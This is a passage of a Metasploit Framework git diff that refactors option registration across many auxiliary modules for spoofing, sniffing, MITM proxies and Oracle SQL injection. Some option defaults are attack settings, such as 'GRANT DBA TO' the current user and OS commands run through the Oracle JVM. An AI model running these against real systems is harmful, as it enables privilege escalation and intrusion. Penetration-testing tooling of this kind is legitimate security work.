require 'resolv' @@ -40,14 +39,14 @@ class MetasploitModule < Msf::Auxiliary OptAddress.new('TARGETHOST', [ false, "The address that all names should resolve to", nil ]), OptString.new('TARGETDOMAIN', [ true, "The list of target domain names we want to fully resolve (BYPASS) or fake resolve (FAKE)", 'www.google.com']), OptEnum.new('TARGETACTION', [ true, "Action for TARGETDOMAIN", "BYPASS", %w{FAKE BYPASS}]), - ], self.class) + ]) register_advanced_options( [ OptPort.new('RR_SRV_PORT', [ false, "The port field in the SRV response when FAKE", 5060]), OptBool.new('LogConsole', [ false, "Determines whether to log all request to the console", true]), OptBool.new('LogDatabase', [ false, "Determines whether to log all request to the database", false]), - ], self.class) + ]) end diff --git a/modules/auxiliary/server/ftp.rb b/modules/auxiliary/server/ftp.rb index 885bfd3d70..888e3b14fb 100644 --- a/modules/auxiliary/server/ftp.rb +++ b/modules/auxiliary/server/ftp.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('FTPROOT', [ true, "The FTP root directory to serve files from", '/tmp/ftproot' ]), OptString.new('FTPUSER', [ false, "Configure a specific username that should be allowed access"]), OptString.new('FTPPASS', [ false, "Configure a specific password that should be allowed access"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 8110a187b5..e260e5e0d5 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/message' require 'rex/proto/ntlm/crypt' @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('SYNCFILE', [false, "Local Ruby file to eval dynamically" ]), OptString.new('SYNCID', [false, "ID to identify a request saved to db" ]), - ], self.class) + ]) register_advanced_options([ OptPath.new('RESPPAGE', [false, @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary 'File specifying extra HTTP_* headers (cookies, multipart, etc.)', nil]), OptString.new('SMB_SHARES', [false, 'The shares to check with SMB_ENUM', 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) - ], self.class) + ]) deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') diff --git a/modules/auxiliary/server/icmp_exfil.rb b/modules/auxiliary/server/icmp_exfil.rb index 0033a03077..00fb7cd949 100644 --- a/modules/auxiliary/server/icmp_exfil.rb +++ b/modules/auxiliary/server/icmp_exfil.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture @@ -49,13 +47,13 @@ class MetasploitModule < Msf::Auxiliary OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']), OptString.new('INTERFACE', [false, 'The name of the interface']), OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true]) - ], self.class) + ]) register_advanced_options([ OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]), OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]), OptAddress.new('LOCALIP', [false, 'The IP address of the local interface']) - ], self.class) + ]) deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT') end diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb index 86ec17abe3..2633a4c64f 100644 --- a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -57,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PORT', [ true, 'The server port', 443]), OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']), OptString.new('SRVPORT', [ true, 'The proxy port', 443]) - ], self.class) + ]) end def cleanup diff --git a/modules/auxiliary/server/local_hwbridge.rb b/modules/auxiliary/server/local_hwbridge.rb index e9a1827ea5..ab54faf87b 100644 --- a/modules/auxiliary/server/local_hwbridge.rb +++ b/modules/auxiliary/server/local_hwbridge.rb @@ -7,8 +7,6 @@ # ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/auxiliary/server/ms15_134_mcl_leak.rb b/modules/auxiliary/server/ms15_134_mcl_leak.rb index 896e05a6be..15701abc98 100644 --- a/modules/auxiliary/server/ms15_134_mcl_leak.rb +++ b/modules/auxiliary/server/ms15_134_mcl_leak.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'cgi' class MetasploitModule < Msf::Auxiliary @@ -44,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), OptPath.new('FILES', [true, 'Files you wish to download', ::File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files_win.txt')]) - ], self.class) + ]) end def receiver_page diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb index 55b4055c59..db9dd8c51d 100644 --- a/modules/auxiliary/server/netbios_spoof_nat.rb +++ b/modules/auxiliary/server/netbios_spoof_nat.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary def initialize @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) - ], self.class) + ]) end def netbios_service diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb index e197916a7e..16251a0802 100644 --- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb +++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'openssl' class MetasploitModule < Msf::Auxiliary @@ -63,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PORT', [ true, 'The server port', 443]), OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']), OptString.new('SRVPORT', [ true, 'The proxy port', 443]) - ], self.class) + ]) end def cleanup diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb index 3146aff0db..f4f61dcb1a 100644 --- a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb +++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]), OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]), OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false]) - ], self.class) + ]) end # Initialize the client state and RSA key for this session diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb index b635394bf1..aaf2640675 100644 --- a/modules/auxiliary/server/pxeexploit.rb +++ b/modules/auxiliary/server/pxeexploit.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/tftp' require 'rex/proto/dhcp' @@ -53,7 +52,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/server/socks4a.rb b/modules/auxiliary/server/socks4a.rb index aec82408ff..a2e5f34550 100644 --- a/modules/auxiliary/server/socks4a.rb +++ b/modules/auxiliary/server/socks4a.rb @@ -4,7 +4,6 @@ ## require 'thread' -require 'msf/core' require 'rex/proto/proxy/socks4a' class MetasploitModule < Msf::Auxiliary @@ -32,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new( 'SRVHOST', [ true, "The address to listen on", '0.0.0.0' ] ), OptPort.new( 'SRVPORT', [ true, "The port to listen on.", 1080 ] ) - ], self.class ) + ]) end def setup diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb index 5e7d1e6e57..3ab1324021 100644 --- a/modules/auxiliary/server/socks_unc.rb +++ b/modules/auxiliary/server/socks_unc.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1080 ]), OptString.new('UNCHOST', [ false, "The address of the UNC host.", nil ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb index 491e9802d3..bfc774fe3e 100644 --- a/modules/auxiliary/server/tftp.rb +++ b/modules/auxiliary/server/tftp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/tftp' require 'tmpdir' @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptPort.new('SRVPORT', [ true, "The local port to listen on.", 69 ]), OptPath.new('TFTPROOT', [ true, "The TFTP root directory to serve files from", Dir.tmpdir ]), OptPath.new('OUTPUTPATH', [ true, "The directory in which uploaded files will be written.", Dir.tmpdir ]) - ], self.class) + ]) end def srvhost diff --git a/modules/auxiliary/server/tnftp_savefile.rb b/modules/auxiliary/server/tnftp_savefile.rb index 2c1222705a..a9a4df1505 100644 --- a/modules/auxiliary/server/tnftp_savefile.rb +++ b/modules/auxiliary/server/tnftp_savefile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb index c955636e3d..715b9aa7bb 100644 --- a/modules/auxiliary/server/webkit_xslt_dropper.rb +++ b/modules/auxiliary/server/webkit_xslt_dropper.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]), OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ]) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/auxiliary/server/wget_symlink_file_write.rb b/modules/auxiliary/server/wget_symlink_file_write.rb index b8e9ce41e8..75b6faee6b 100644 --- a/modules/auxiliary/server/wget_symlink_file_write.rb +++ b/modules/auxiliary/server/wget_symlink_file_write.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]), OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]), OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121]) - ], self.class) + ]) @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8) end diff --git a/modules/auxiliary/server/wpad.rb b/modules/auxiliary/server/wpad.rb index 0b99424ff1..a2d3696627 100644 --- a/modules/auxiliary/server/wpad.rb +++ b/modules/auxiliary/server/wpad.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]), OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]), OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ]) - ], self.class) + ]) deregister_options('URIPATH') end diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index 8dc5e2f964..934fa5a2dc 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -12,8 +12,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -40,13 +38,13 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptString.new('PROTOCOLS', [true, 'A comma-delimited list of protocols to sniff or "all".', "all"]), - ], self.class) + ]) register_advanced_options([ OptPath.new('ProtocolBase', [true, 'The base directory containing the protocol decoders', File.join(Msf::Config.data_directory, "exploits", "psnuffle") ]), - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 388d2101a3..08d50f7f8a 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]), OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]), OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true]) - ], self.class) + ]) register_advanced_options([ OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is usefull only if you want to spoof to another host with SMAC']), @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]), # This mode will generate address ip conflict pop up on most systems OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false]) - ], self.class) + ]) deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') end diff --git a/modules/auxiliary/spoof/cisco/cdp.rb b/modules/auxiliary/spoof/cisco/cdp.rb index 12b1118e85..53a5bb4e13 100644 --- a/modules/auxiliary/spoof/cisco/cdp.rb +++ b/modules/auxiliary/spoof/cisco/cdp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]), OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]), OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true]) - ], self.class) + ]) deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT') end diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index a9ab5ea1ac..1e1a553b0c 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']), - ], self.class) + ]) deregister_options('RHOST', 'PCAPFILE') end diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index 4960895c92..a05287e13d 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/dns' require 'resolv' @@ -51,7 +50,7 @@ class MetasploitModule < Msf::Auxiliary OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]), - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index b15069e1ae..58e6603d73 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'net/dns' require 'resolv' @@ -48,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]), - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index f4292229b1..8a9316fd2b 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/dns' require 'resolv' @@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]), OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]), - ], self.class) + ]) end diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 136f0963cf..d402a900ee 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'socket' require 'ipaddr' require 'net/dns' diff --git a/modules/auxiliary/spoof/mdns/mdns_response.rb b/modules/auxiliary/spoof/mdns/mdns_response.rb index ef6cf38f8c..9aae8b5207 100644 --- a/modules/auxiliary/spoof/mdns/mdns_response.rb +++ b/modules/auxiliary/spoof/mdns/mdns_response.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'socket' require 'ipaddr' require 'net/dns' diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 71aed0877c..88bd5b6205 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb index 2b17a79e4b..9444f25ddd 100644 --- a/modules/auxiliary/spoof/replay/pcap_replay.rb +++ b/modules/auxiliary/spoof/replay/pcap_replay.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Capture @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('LOOP', [true, "The number of times to loop through the file",1]), OptInt.new('DELAY', [true, "the delay in millisecond between each loop",0]), OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]), - ], self.class) + ]) deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') end diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb index 9c91ad82f0..c32ca82719 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ], self.class) + ]) end diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb index 044e891078..e40146bf64 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb index 550371ede9..1cd0146ae6 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb index ac55375e17..e8069a1baa 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb index 1d19d2c094..e4de27d405 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb index 1ce9b91f56..3f2225819a 100644 --- a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb +++ b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb index f702167af9..2c1ba45ab5 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb index 3d7d30f039..e18a5323b8 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb index 19000fa3e5..3bae746f7c 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index e307935ce2..9ec91b61eb 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']), OptString.new('USER', [ false, 'The current user. ', 'SCOTT']), OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb index b6384a70ea..7130b51dd8 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]), - ], self.class) + ]) end def run diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb index a01efd8bc6..5a9e715264 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ false, 'CMD to execute.', "echo metasploit >> %SYSTEMDRIVE%\\\\unbreakable.txt"]), - ], self.class) + ]) end def run 